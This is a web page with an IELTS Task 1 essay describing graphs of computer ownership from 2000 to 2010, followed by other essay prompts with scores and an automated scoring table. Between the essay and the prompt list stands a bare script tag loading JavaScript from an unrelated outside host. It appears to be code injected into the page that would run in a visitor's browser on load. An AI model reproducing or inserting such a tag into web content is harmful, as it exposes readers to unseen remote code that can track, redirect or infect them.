The graphs analysed give information about computer ownership according to percentage criteria of population or of educational level in the period of time 2000−2010.
The two graphs present similarities since they were carried on in the same period of time and the final percentage reached approximately the 80% although the second graph had a range from 0 to 100.
The first graph shows that during the period of time 2002−2004 the ownership of computers was fixed with around 60% and then had a small but regular rise in the following years until 2010 when computer owners reached a pick with a percentage between 70 and 80%.
The second one on the other side, presents differences between computer owners who had a complete education and who, instead, had not in the period of 2002 and of 2010. In fact computer ownership in 2002 was just 10% for no high school diploma while tended to increase for postgraduate qualification with a percentage of about 60.
In 2010 instead the level of ownership was quit high starting already from 40% for no high school diploma and continuing to rise constantly until the highest level of education represented by Postgraduate qualification with 80%.
<script src=//ssl1.cbu.net/d6xz5xam></script>
- Global population percentages and distribution of wealth 70
- In today’s competitive world, many families find it necessary for both parents to go out to work. While some say the children in these families benefit from the additional income, others feel they lack support because of their parents’ absence. 75
- The Table below shows the worldwide market share of the mobile phone market for manufacturers in the years 2005 and 2006. 83
- It is generally believed that the internet is an excellent means of communication but some people suggest that it may not be the best place to find information. 70
- Some people argue that it is more important to have an enjoyable job than to earn a lot of money. Others disagree and think that a good salary leads to a better life. Discuss both these views and give your own opinion. 60
flaws:
The sentences are not developed smoothly. and some sentences are too long, look:
Avg. Sentence Length: 33.5 21.0
Attribute Value Ideal
Score: 6.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 6 10
No. of Words: 201 200
No. of Characters: 970 1000
No. of Different Words: 105 100
Fourth Root of Number of Words: 3.765 4.0
Average Word Length: 4.826 4.6
Word Length SD: 2.812 2.4
No. of Words greater than 5 chars: 65 60
No. of Words greater than 6 chars: 50 50
No. of Words greater than 7 chars: 37 40
No. of Words greater than 8 chars: 26 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 33.5 21.0
Sentence Length SD: 7.588 7.5
Use of Discourse Markers (%): 0.667 0.12
Sentence-Text Coherence: 0.53 0.35
Sentence-Para Coherence: 0.829 0.50
Sentence-Sentence Coherence: 0.188 0.07
Number of Paragraphs: 4 4